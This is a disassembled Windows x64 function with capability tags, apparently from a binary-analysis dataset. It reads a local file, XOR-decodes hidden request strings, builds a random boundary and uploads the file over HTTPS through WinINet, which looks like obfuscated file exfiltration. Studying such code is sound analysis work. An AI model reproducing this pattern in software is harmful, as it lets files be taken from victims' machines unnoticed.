Function at 0x140007740
Capabilities:
Connect to http server
Create http request
Encode data using xor
Generate random numbers using a mersenne twister
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
mov eax, 0x1698
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000d230
sub rsp, rax
lea rax, [rsp + 0x1e0]
lea rdi, [rsp + 0xbb0]
mov qword [rsp + 0x16e0], rcx
lea rsi, [rsp + 0xbc0]
mov rcx, rax
mov qword [rsp + 0x48], rax
lea rbp, [rsp + 0x159f]
mov qword [rsp + 0x16e8], rdx
mov rdx, rdi
and rbp, 0xffffffffffffffe0
lea r15, [rsp + 0x1d0]
mov dword [rsp + 0xbc0], 0x61666564
mov qword [rsp + 0x16f0], r8
mov qword [rsp + 0x16f8], r9
mov qword [rsp + 0x1c0], r15
mov qword [rsp + 0x1c8], 0
mov byte [rsp + 0x1d0], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0xbb0], rsi
mov dword [rsp + 0xbc3], 0x746c7561
mov qword [rsp + 0xbb8], 7
mov byte [rsp + 0xbc7], 0
call fcn.14000bb40
mov rcx, qword [rsp + 0xbb0]
cmp rcx, rsi
je 0x140007826
mov rax, qword [rsp + 0xbc0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x40], rax
call fcn.14000bb38
mov dword [rsp + 0xbb0], eax
mov edx, eax
mov ebx, 1
nop dword [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul eax, eax, 0x6c078965
lea edx, [rax + rbx]
mov dword [rdi + rbx*4], edx
add rbx, 1
cmp rbx, 0x270
jne 0x140007850
lea rax, [rsp + 0x1c0]
mov r13d, 0x30
mov qword [rsp + 0x60], rax
jmp 0x1400078e2
mov r12, qword [rsp + 0x1c8]
mov rax, qword [rsp + 0x1c0]
shr rsi, 0x20
add esi, 0x61
lea r14, [r12 + 1]
cmp rax, r15
je 0x140007a18
mov rdx, qword [rsp + 0x1d0]
cmp rdx, r14
jb 0x1400079c0
mov byte [rax + r12], sil
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x1c8], r14
mov byte [rax + r12 + 1], 0
sub r13d, 1
je 0x140007a22
cmp rbx, 0x26f
ja 0x140007a00
mov eax, dword [rsp + rbx*4 + 0xbb0]
lea rdx, [rbx + 1]
mov qword [rsp + 0x1570], rdx
mov rbx, rdx
mov ecx, eax
shr ecx, 0xb
xor eax, ecx
mov ecx, eax
shl ecx, 7
and ecx, 0x9d2c5680
xor eax, ecx
mov ecx, eax
shl ecx, 0xf
and ecx, 0xefc60000
xor eax, ecx
mov ecx, eax
shr ecx, 0x12
xor eax, ecx
lea rcx, [rax + rax*2]
lea rsi, [rax + rcx*4]
add rsi, rsi
cmp esi, 0x15
ja 0x140007888
mov rax, rdx
cmp rdx, 0x26f
ja 0x1400079a7
nop dword [rax]
lea rdx, [rax + 1]
mov eax, dword [rsp + rax*4 + 0xbb0]
mov qword [rsp + 0x1570], rdx
mov ecx, eax
shr ecx, 0xb
xor eax, ecx
mov ecx, eax
shl ecx, 7
and ecx, 0x9d2c5680
xor eax, ecx
mov ecx, eax
shl ecx, 0xf
and ecx, 0xefc60000
xor eax, ecx
mov ecx, eax
shr ecx, 0x12
xor eax, ecx
lea rcx, [rax + rax*2]
lea rsi, [rax + rcx*4]
add rsi, rsi
cmp esi, 0x15
ja 0x1400079f0
mov rax, rdx
cmp rdx, 0x26f
jbe 0x140007950
mov rcx, rdi
call fcn.14000dbc0
mov rax, qword [rsp + 0x1570]
jmp 0x140007950
mov rcx, qword [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x40], rcx
call fcn.14000bac8
mov rax, qword [rsp + 0x1c0]
jmp 0x1400078be
mov rbx, rdx
jmp 0x140007888
mov rcx, rdi
call fcn.14000dbc0
mov rbx, qword [rsp + 0x1570]
jmp 0x1400078ef
mov edx, 0xf
jmp 0x1400078b5
mov rbx, qword [rsp + 0x1c8]
lea rax, [rsp + 0x110]
lea rcx, [rsp + 0x100]
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x68], rcx
mov rsi, qword [rsp + 0x1c0]
lea rdx, [rbx + 4]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x100], rax
mov byte [rsp + 0x110], 0
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x108]
cmp rax, 3
jbe 0x14000946c
mov rcx, qword [rsp + 0x68]
mov r8d, 4
lea rdx, [0x1400121de]
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x108]
cmp rax, rbx
jb 0x140009460
mov rcx, qword [rsp + 0x68]
mov r8, rbx
mov rdx, rsi
call fcn.14000bae0
mov rcx, qword [rsp + 0x48]
call fcn.14000bb48
mov rcx, qword [rsp + 0x1c0]
cmp rcx, r15
je 0x140007afa
mov rax, qword [rsp + 0x1d0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x16f0]
mov r8, 0xffffffffffffffff
mov r9d, 2
lea rdx, [0x1400120e2]
call fcn.14000bbb8
lea r8, [rax + 1]
mov rax, qword [rsp + 0x16f0]
mov rbx, qword [rax + 8]
cmp rbx, r8
jb 0x1400094c0
lea rax, [rsp + 0x120]
sub rbx, r8
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x16f0]
mov qword [rsp + 0xbb0], rbx
mov rsi, qword [rax]
add rsi, r8
cmp rbx, 0xf
ja 0x140008c44
cmp rbx, 1
jne 0x140008aa8
movzx eax, byte [rsi]
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x128], rbx
mov rcx, rbp
mov byte [rax + rbx], 0
mov rsi, qword [rsp + 0x108]
movabs rax, 0x589cb11751f86d54
mov qword [rbp], rax
mov r12, qword [rsp + 0x100]
movabs rax, 0x3beb781715590c8
mov qword [rbp + 8], rax
movabs rax, 0xabcbad39228b0865
mov qword [rbp + 0x10], rax
movabs rax, 0x6ab585f4b1c11b10
mov qword [rbp + 0x18], rax
movabs rax, 0xca4410a9b2c854da
mov qword [rbp + 0x20], rax
movabs rax, 0x6779d26ffb6f0fa1
mov qword [rbp + 0x28], rax
vmovdqa xmm2, xmmword [rbp + 0x20]
movabs rax, 0x75e8df7225960217
mov qword [rbp + 0x60], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rbp + 0x68], rax
movabs rax, 0x84bfdf5852e27c09
mov qword [rbp + 0x70], rax
movabs rax, 0x1ed4e1d9dcb37476
mov qword [rbp + 0x78], rax
vmovdqa ymm1, ymmword [rbp + 0x60]
movabs rax, 0xae2a65c6d0e86fbb
vpxor ymm0, ymm1, ymmword [rbp]
vmovdqa ymmword [rbp], ymm0
mov qword [rbp + 0x80], rax
movabs rax, 0x6779d26fc6167dc0
mov qword [rbp + 0x88], rax
vpxor xmm0, xmm2, xmmword [rbp + 0x80]
vmovdqa xmmword [rbp + 0x20], xmm0
vzeroupper
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x148], 0
mov rbx, rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x70], rcx
lea rdx, [rsi + rbx]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x140], rax
mov byte [rsp + 0x150], 0
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x148]
cmp rax, rbx
jb 0x14000943c
mov rcx, qword [rsp + 0x70]
mov r8, rbx
mov rdx, rbp
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x148]
cmp rax, rsi
jb 0x140009448
mov rcx, qword [rsp + 0x70]
mov r8, rsi
mov rdx, r12
call fcn.14000bae0
movabs rdx, 0x589cb11751f86d54
lea r13, [rsp + 0x190]
movabs rax, 0x6b2b781715590c8
movabs rcx, 0x7000d8ba44129b3f
mov qword [rbp], rdx
mov qword [rbp + 8], rax
movabs rax, 0xebd6ab39318b1079
mov qword [rbp + 0x10], rax
movabs rax, 0x33a084adbfdc5b18
mov qword [rbp + 0x18], rax
vmovdqa ymm3, ymmword [rbp]
movabs rax, 0xa42708a7b59a1bc8
mov qword [rbp + 0x20], rax
movabs rax, 0x4a0dbc0ab2781283
mov qword [rbp + 0x28], rax
movabs rax, 0xa38806bf452ef299
mov qword [rbp + 0x30], rax
movabs rax, 0x648f03a20165d397
mov qword [rbp + 0x38], rax
vmovdqa ymm4, ymmword [rbp + 0x20]
movabs rax, 0x261b6d32632a158
mov qword [rbp + 0x40], rax
movabs rax, 0xfcf76e69ce318c9d
mov qword [rbp + 0x48], rax
vmovdqa xmm5, xmmword [rbp + 0x40]
movabs rax, 0x75e8df7225960217
mov qword [rbp + 0x60], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rbp + 0x68], rax
movabs rax, 0x84bfdf5852e27c09
mov qword [rbp + 0x70], rax
movabs rax, 0x1ed4e1d9dcb37476
mov qword [rbp + 0x78], rax
vpxor ymm0, ymm3, ymmword [rbp + 0x60]
movabs rax, 0xae2a65c6d0e86fbb
vmovdqa ymmword [rbp], ymm0
mov qword [rbp + 0x80], rax
movabs rax, 0x6779d26fc6167dc0
mov qword [rbp + 0x88], rax
movabs rax, 0xd1ed60cc2b4f80cd
mov qword [rbp + 0x90], rax
movabs rax, 0xae667cd620b96ba
mov qword [rbp + 0x98], rax
vpxor ymm0, ymm4, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x20], ymm0
mov qword [rbp + 0xa0], rcx
movabs rcx, 0xfcf76e63c33b81e4
mov qword [rbp + 0xa8], rcx
vpxor xmm0, xmm5, xmmword [rbp + 0xa0]
mov qword [rbp + 0xc0], rdx
movabs rdx, 0x2bae4d4645680d8
vmovdqa xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0xc8], rdx
movabs rdx, 0xf6d0b978688c1360
mov qword [rbp + 0xd0], rdx
movabs rdx, 0x3eef80adbdd7591b
mov qword [rbp + 0xd8], rdx
vmovdqa ymm1, ymmword [rbp + 0xc0]
movabs rdx, 0xc74c47fbb5850ed5
vpxor ymm0, ymm1, ymmword [rbp + 0x60]
mov qword [rbp + 0xf8], rax
lea rax, [rsp + 0x180]
mov rbx, qword [rsp + 0x108]
mov qword [rsp + 0x60], rax
mov rcx, rax
mov qword [rbp + 0xe0], rdx
movabs rdx, 0xb10b44ffd3418ac
mov rsi, qword [rsp + 0x100]
vmovdqa ymmword [rbp + 0xc0], ymm0
mov qword [rbp + 0xe8], rdx
movabs rdx, 0xd1cf5da9462eeea8
mov qword [rsp + 0x180], r13
mov qword [rsp + 0x188], 0
mov qword [rbp + 0xf0], rdx
vmovdqa ymm2, ymmword [rbp + 0xe0]
lea rdx, [rbx + 2]
vpxor ymm0, ymm2, ymmword [rbp + 0x80]
mov byte [rsp + 0x190], 0
vmovdqa ymmword [rbp + 0xe0], ymm0
vzeroupper
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x188]
cmp rax, 1
jbe 0x14000940c
mov rcx, qword [rsp + 0x60]
mov r8d, 2
lea rdx, [0x1400121e3]
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x188]
cmp rax, rbx
jb 0x140009418
mov rcx, qword [rsp + 0x60]
mov r8, rbx
mov rdx, rsi
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x188]
cmp rax, 1
jbe 0x140009400
mov rcx, qword [rsp + 0x60]
mov r8d, 2
lea rdx, [0x1400121e6]
call fcn.14000bae0
lea r14, [rsp + 0x1b0]
lea rcx, [rax + 0x10]
mov r8, qword [rax + 8]
mov qword [rsp + 0x1a0], r14
mov rdx, qword [rax]
cmp rdx, rcx
je 0x140009049
mov qword [rsp + 0x1a0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x1b0], rdx
mov rdx, qword [rax + 8]
lea rbx, [rbp + 0xc0]
mov qword [rsp + 0x1a8], rdx
mov qword [rax], rcx
mov rcx, rbx
mov qword [rax + 8], 0
mov byte [rax + 0x10], 0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r8, rax
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x1a8]
cmp rax, r8
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0xd0], rax
jb 0x1400094a8
mov rdx, rbx
mov rcx, rax
call fcn.14000bae0
mov qword [rsp + 0x1c0], r15
mov rdx, qword [rax]
lea rcx, [rax + 0x10]
mov r8, qword [rax + 8]
cmp rdx, rcx
je 0x140008ff4
mov qword [rsp + 0x1c0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x1d0], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0x1c8], rdx
mov qword [rax + 8], 0
mov r8, qword [rsp + 0x128]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x120]
mov byte [rax + 0x10], 0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x1c8]
cmp rax, r8
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x40], rax
jb 0x1400094b4
mov rcx, rax
call fcn.14000bae0
lea r12, [rsp + 0x1f0]
lea rcx, [rax + 0x10]
mov r8, qword [rax + 8]
mov qword [rsp + 0x1e0], r12
mov rdx, qword [rax]
cmp rdx, rcx
je 0x140008f9f
mov qword [rsp + 0x1e0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x1f0], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0x1e8], rdx
mov qword [rax + 8], 0
mov byte [rax + 0x10], 0
mov qword [rax], rcx
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x1e8]
cmp rax, 2
jbe 0x140009424
mov rcx, qword [rsp + 0x48]
mov r8d, 3
lea rdx, [0x1400121e9]
call fcn.14000bae0
mov rsi, qword [rsp + 0x50]
lea rcx, [rax + 0x10]
mov r8, qword [rax + 8]
mov qword [rsp + 0xbb0], rsi
mov rdx, qword [rax]
cmp rdx, rcx
je 0x140008f47
mov qword [rsp + 0xbb0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0xbc0], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0xbb8], rdx
mov qword [rax], rcx
mov rcx, rbp
mov qword [rax + 8], 0
mov byte [rax + 0x10], 0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r8, rax
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xbb8]
cmp rax, r8
jb 0x140009454
mov rdx, rbp
mov rcx, rdi
call fcn.14000bae0
mov rcx, rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x160], rax
mov rdx, qword [rcx]
lea r8, [rcx + 0x10]
mov qword [rsp + 0x88], rax
mov rax, qword [rcx + 8]
cmp rdx, r8
je 0x140008ef1
mov qword [rsp + 0x160], rdx
mov rdx, qword [rcx + 0x10]
mov qword [rsp + 0x170], rdx
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x50]
mov qword [rcx], r8
mov qword [rcx + 8], 0
mov byte [rcx + 0x10], 0
mov rcx, qword [rsp + 0xbb0]
cmp rcx, rax
je 0x1400082af
mov rax, qword [rsp + 0xbc0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x1e0]
cmp rcx, r12
je 0x1400082cd
mov rax, qword [rsp + 0x1f0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x1c0]
cmp rcx, r15
je 0x1400082eb
mov rax, qword [rsp + 0x1d0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x1a0]
cmp rcx, r14
je 0x140008309
mov rax, qword [rsp + 0x1b0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x180]
cmp rcx, r13
je 0x140008327
mov rax, qword [rsp + 0x190]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rbx, qword [rsp + 0x108]
mov rcx, rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xbb8], 0
mov byte [rsp + 0xbc0], 0
mov rsi, qword [rsp + 0x100]
lea rdx, [rbx + 4]
mov qword [rsp + 0xbb0], rax
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xbb8]
cmp rax, 3
jbe 0x140009478
mov r8d, 4
lea rdx, str._r_n__
mov rcx, rdi
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xbb8]
cmp rax, rbx
jb 0x140009484
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xbb8]
cmp rax, 3
jbe 0x140009490
mov r8d, 4
lea rdx, str.___r_n
mov rcx, rdi
call fcn.14000bae0
mov rdx, rax
mov qword [rsp + 0x180], r13
mov rax, qword [rax]
lea rcx, [rdx + 0x10]
mov r8, qword [rdx + 8]
cmp rax, rcx
je 0x140008e9c
mov qword [rsp + 0x180], rax
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x190], rax
mov rax, qword [rdx + 8]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x50]
mov qword [rdx], rcx
mov byte [rdx + 0x10], 0
mov rcx, qword [rsp + 0xbb0]
mov qword [rdx + 8], 0
cmp rcx, rax
je 0x140008460
mov rax, qword [rsp + 0xbc0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
lea rbp, [rsp + 0x2c0]
mov rcx, rbp
mov qword [rsp + 0x98], rbp
call fcn.14000ba90
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ios_char__std::char_traits_char___]
xor edx, edx
vpxor xmm0, xmm0, xmm0
mov word [rsp + 0x3a0], dx
xor edx, edx
vmovdqu ymmword [rsp + 0x3a8], ymm0
add rax, 0x10
mov qword [rsp + 0x2c0], rax
mov rax, qword [sym.imp.libstdc_6.dll_VTT_for_std::basic_ifstream_char__std::char_traits_char___]
mov qword [rsp + 0x398], 0
mov rsi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rax, qword [rsi - 0x18]
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x90], rbx
mov qword [rsp + rax + 0x1e0], rbx
mov rbx, qword [rsp + 0x48]
mov qword [rsp + 0x1e8], 0
mov rax, qword [rsi - 0x18]
add rax, rbx
mov rcx, rax
vzeroupper
call fcn.14000ba80
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ifstream_char__std::char_traits_char___]
mov rcx, r12
add rax, 0x18
mov qword [rsp + 0x1e0], rax
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ifstream_char__std::char_traits_char___]
add rax, 0x40
mov qword [rsp + 0x2c0], rax
call fcn.14000bb60
mov rdx, r12
mov rcx, rbp
call fcn.14000ba80
mov rax, qword [rsp + 0x16f0]
mov r8d, 0xe
mov rcx, r12
mov rdx, qword [rax]
call fcn.14000bb70
mov rdx, qword [rsp + 0x1e0]
add rbx, qword [rdx - 0x18]
mov rcx, rbx
test rax, rax
je 0x140008c92
xor edx, edx
call fcn.14000ba78
lea rax, [rsp + 0x238]
mov rcx, rax
mov qword [rsp + 0xb0], rax
call fcn.14000bbc8
test al, al
je 0x140008ac0
mov rbp, qword [rsp + 0x48]
lea rcx, [rsp + 0xe0]
mov rdx, rbp
call fcn.14000bb90
mov rbx, qword [rsp + 0xe0]
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x80], rbx
call fcn.14000bb98
test rbx, rbx
js 0x140009430
je 0x140008ca2
mov rcx, qword [rsp + 0x80]
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
lea r10, [rax + 1]
mov byte [rax], 0
mov rbx, rax
mov ebp, 1
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xc0], r10
mov r8, rax
sub r8, 1
jne 0x140008e7e
mov r8, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
call fcn.14000bba0
mov rdx, qword [rax]
mov rcx, r12
mov rdx, qword [rdx - 0x18]
test byte [rax + rdx + 0x20], 5
jne 0x140008cb7
call fcn.14000bb68
test rax, rax
je 0x1400091a3
mov qword [rsp + 0x1c0], r15
mov rcx, r15
mov qword [rsp + 0x1c8], 0
mov qword [rsp + 0xbb0], rbp
cmp rbp, 0xf
ja 0x14000909e
mov rax, qword [rsp + 0xc0]
cmp rax, rbx
je 0x1400086c8
mov r8, rax
sub r8, rbx
lea rdx, [r8 - 1]
cmp rdx, 0xe
jbe 0x1400090ce
lea rax, [rbx + 1]
mov r9, rcx
sub r9, rax
xor eax, eax
cmp r9, 0x1e
ja 0x140008ce8
nop dword [rax]
movzx edx, byte [rbx + rax]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, r8
jne 0x1400086a8
mov rbp, qword [rsp + 0xbb0]
mov rcx, qword [rsp + 0x1c0]
mov qword [rsp + 0x1c8], rbp
xor r8d, r8d
xor edx, edx
mov byte [rcx + rbp], 0
mov rax, qword [rsp + 0x168]
mov r9, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.14000baf8
mov rdx, qword [rsp + 0x50]
lea rcx, [rax + 0x10]
mov r8, qword [rax + 8]
mov qword [rsp + 0xbb0], rdx
mov rdx, qword [rax]
cmp rdx, rcx
je 0x14000915e
mov qword [rsp + 0xbb0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0xbc0], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0xbb8], rdx
mov byte [rax + 0x10], 0
mov qword [rax + 8], 0
mov r8, qword [rsp + 0x188]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x180]
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xbb8]
cmp rax, r8
jb 0x14000949c
mov rcx, rdi
call fcn.14000bae0
mov qword [rsp + 0x1a0], r14
mov rdx, qword [rax]
lea rcx, [rax + 0x10]
mov r8, qword [rax + 8]
cmp rdx, rcx
je 0x1400090f3
mov qword [rsp + 0x1a0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x1b0], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0x1a8], rdx
mov qword [rax], rcx
mov byte [rax + 0x10], 0
mov rcx, qword [rsp + 0xbb0]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x50]
cmp rcx, rax
je 0x1400087e9
mov rax, qword [rsp + 0xbc0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x1c0]
cmp rcx, r15
je 0x140008807
mov rax, qword [rsp + 0x1d0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
movabs rax, 0x44c6ee5d75c2565f
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
movabs rdx, 0x75e8df7225960217
mov qword [rsp + 0xbb0], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0x50], rdx
mov edx, 1
mov qword [rsp + 0xbb8], rax
mov qword [rsp + 0x58], rax
vmovdqa xmm4, xmmword [rsp + 0x50]
vpxor xmm0, xmm4, xmmword [rsp + 0xbb0]
mov dword [rsp + 0x20], 0
vmovdqa xmmword [rsp + 0xbb0], xmm0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x50], rax
mov rcx, rax
test rax, rax
je 0x1400090e9
mov rax, qword [rsp + 0x16e0]
xor r9d, r9d
mov r8d, 0x1bb
mov rdx, qword [rax]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0xd8], rax
test rax, rax
je 0x1400093bd
mov rcx, rax
mov dword [rsp + 0x30], 0x800000
xor r9d, r9d
movabs rax, 0x75e8df7271c54d47
movabs rdx, 0x75e8df7225960217
mov qword [rsp + 0x38], 0
mov qword [rsp + 0xbb0], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0xc0], rdx
mov rdx, rdi
mov qword [rsp + 0xbb8], rax
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x16e8]
vmovdqa xmm5, xmmword [rsp + 0xc0]
vpxor xmm0, xmm5, xmmword [rsp + 0xbb0]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, qword [rax]
vmovdqa xmmword [rsp + 0xbb0], xmm0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbp, rax
test rax, rax
je 0x1400092fb
mov r9d, 4
lea r8, [rsp + 0xfc]
mov edx, 6
mov rcx, rax
mov dword [rsp + 0xfc], 0xea60
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x1a0]
mov rcx, rbp
mov r8d, dword [rsp + 0x148]
mov rdx, qword [rsp + 0x140]
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x14000929b
mov rax, qword [rsp + 0x16f8]
movabs r15, 0x3fffffffffffffff
mov qword [rax + 8], 0
mov rax, qword [rax]
mov byte [rax], 0
jmp 0x140008a39
mov eax, dword [rsp + 0x1c0]
test eax, eax
je 0x140008a5f
mov rcx, rdi
mov byte [rsp + rax + 0xbb0], 0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, qword [rsp + 0x16f8]
mov r8, rax
mov rax, r15
sub rax, qword [rdx + 8]
cmp rax, r8
jb 0x1400093e8
mov rcx, rdx
mov rdx, rdi
call fcn.14000bae0
mov r9, qword [rsp + 0x40]
mov r8d, 0x3ff
mov rdx, rdi
mov rcx, rbp
mov dword [rsp + 0x1c0], 0
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400089f8
mov rdi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call rdi
mov rcx, qword [rsp + 0xd8]
call rdi
mov rcx, qword [rsp + 0x50]
call rdi
mov edi, 0xe8
mov rcx, qword [rsp + 0x1a0]
cmp rcx, r14
je 0x140008cca
mov rax, qword [rsp + 0x1b0]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
jmp 0x140008cca
test rbx, rbx
je 0x140007b90
mov rcx, qword [rsp + 0x78]
jmp 0x140008c72
mov edi, 0xe1
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ifstream_char__std::char_traits_char___]
mov rcx, r12
add rax, 0x18
mov qword [rsp + 0x1e0], rax
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ifstream_char__std::char_traits_char___]
add rax, 0x40
mov qword [rsp + 0x2c0], rax
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_filebuf_char__std::char_traits_char___]
add rax, 0x10
mov qword [rsp + 0x1f0], rax
call fcn.14000bb68
mov rcx, qword [rsp + 0xb0]
call fcn.14000bb78
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___]
lea rcx, [rsp + 0x228]
add rax, 0x10
mov qword [rsp + 0x1f0], rax
call fcn.14000bb18
mov rax, qword [rsi - 0x18]
mov qword [rsp + 0x1e0], rsi
mov rsi, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + rax + 0x1e0], rsi
mov rax, qword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ios_char__std::char_traits_char___]
mov qword [rsp + 0x1e8], 0
add rax, 0x10
mov qword [rsp + 0x2c0], rax
call fcn.14000ba88
mov rcx, qword [rsp + 0x180]
cmp rcx, r13
je 0x140008b99
mov rax, qword [rsp + 0x190]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x160]
mov rax, qword [rsp + 0x88]
cmp rcx, rax
je 0x140008bbf
mov rax, qword [rsp + 0x170]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x140]
mov rax, qword [rsp + 0xa8]
cmp rcx, rax
je 0x140008be5
mov rax, qword [rsp + 0x150]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x78]
cmp rcx, rax
je 0x140008c08
mov rax, qword [rsp + 0x130]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x100]
mov rax, qword [rsp + 0xa0]
cmp rcx, rax
je 0x140008c2e
mov rax, qword [rsp + 0x110]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov eax, edi
add rsp, 0x1698
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0xb8]
xor r8d, r8d
mov rdx, rdi
call fcn.14000bad0
